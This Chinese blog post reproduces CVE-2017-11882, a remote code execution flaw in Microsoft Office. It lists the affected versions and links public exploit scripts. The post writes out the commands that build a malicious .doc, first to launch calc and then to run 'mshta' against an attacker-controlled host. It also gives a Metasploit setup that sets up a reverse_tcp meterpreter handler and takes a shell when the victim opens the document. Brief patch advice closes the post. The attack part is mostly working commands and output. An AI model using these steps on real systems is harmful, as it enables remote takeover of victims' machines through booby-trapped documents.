• 隐藏17年的Office远程代码执行漏洞(CVE-2017-11882)


    Preface

      这几天关于Office的一个远程代码执行漏洞很流行,昨天也有朋友发了相关信息,于是想复现一下看看,复现过程也比较简单,主要是简单记录下。

      利用脚本Github传送地址 ,后面的参考链接都有成功的比较详细的案例了。

      主要是要用到如图中的两个脚本,example文件夹中有个doc,应该直接打开就能弹计算器了。

    影响版本

    • Office 365
    • Microsoft Office 2000   
    • Microsoft Office 2003   
    • Microsoft Office 2007 Service Pack 3
    • Microsoft Office 2010 Service Pack 2
    • Microsoft Office 2013 Service Pack 1
    • Microsoft Office 2016

    复现过程

    国外最先发布的poc地址:https://github.com/embedi/CVE-2017-11882

    这里我们使用的是Ridter师傅改进过的脚本:https://github.com/Ridter/CVE-2017-11882/

    生成漏洞doc文件弹计算器

      生成漏洞doc文件,可以弹出计算器如下:(脚本在Github传送地址)

    starnight:CVE-2017-11882 starnight$ python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc
    [*] Done ! output file >> test.doc <<

      用命令生成test.doc后,用Offcie 2013打开这个文件,可以看到在打开doc文件的时候,弹出计算器。

       除了可以弹计算器外,还能获取shell。

    生成漏洞doc文件拿shell

      这里我们参考链接2,使用metasploit,将脚本PS_shell.rb放到metasploit exploit的某个路径下:

      我的kali下的metasploit所在路径是:/usr/share/metasploit-framework, 可以放在如下目录:(这里我们新创建一个new-exps目录存放这个脚本)

    root@kali:/usr/share/metasploit-framework/modules/exploits/windows/new-exps# pwd
    /usr/share/metasploit-framework/modules/exploits/windows/new-exps
    root@kali:/usr/share/metasploit-framework/modules/exploits/windows/new-exps# ls
    PS_shell.rb

      这样在启动msf时就能直接使用了:

    msf > use exploit/windows/new-exps/PS_shell

      漏洞利用过程:

    msf > use exploit/windows/new-exps/PS_shell 
    msf exploit(PS_shell) > set payload windows/meterpreter/reverse_tcp
    payload => windows/meterpreter/reverse_tcp
    msf exploit(PS_shell) > set lhost 192.168.1.102
    lhost => 192.168.1.102
    msf exploit(PS_shell) > set uripath abc
    uripath => abc
    msf exploit(PS_shell) > exploit
    [*] Exploit running as background job 0.
    
    [*] Started reverse TCP handler on 192.168.1.102:4444 
    msf exploit(PS_shell) > [*] Using URL: http://0.0.0.0:8080/abc
    [*] Local IP: http://192.168.1.102:8080/abc
    [*] Server started.
    [*] Place the following DDE in an MS document:
    mshta.exe "http://192.168.1.102:8080/abc"

      从上面可以看出,我们要连接到这个地址:http://192.168.1.102:8080/abc

      我们需要用上面那个脚本重新生成这样一个存在漏洞的doc文件:  

    starnight:CVE-2017-11882 starnight$ python Command_CVE-2017-11882.py -c "mshta http://192.168.1.102:8080/abc" -o test.doc
    [*] Done ! output file >> test.doc <<

      再用Office打开这个doc,就能拿到meterpreter了:

      OK, 利用过程就这样吧。(右键在新标签页中打开图片查看更清晰哦)

      更多手法请参考:

        CVE-2017-11882漏洞复现和利用

    漏洞修复

    (1)下载https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882  更新补丁进行修补
     
    (2)开启Windows Update功能,定期对系统进行自动更新

    参考

      CVE-2017-11882利用

      CVE-2017-11882的复现、利用技巧以及修复方案

  • 相关阅读:
    【C#进阶】override new virtual
    【小窍门】cmd控制台无法输入中文(日文),输出非英文字符都是问号解决办法,中文都是问号解决办法
    【C#进阶】多播委托和委托数组像是一回事~
    【C# 基础应用】我的第一个App,不容易——随机生成小人网站,asp.net core
    【Xpath学习】xpath都不会,说什么你做网站自动化测试的?
    【Python + Selenium】Mock Testing 是啥?一个so上的高票答案。
    【Python】 Subprocess module
    【selenium 3】 Mac 下测试环境搭建 Firefox 47+ gecko driver Mac
    关于boost 的smart_ptr 的使用问题
    UI自动化测试的那些事
  • 原文地址:https://www.cnblogs.com/Hi-blog/p/7878054.html
Copyright © 2020-2023  润新知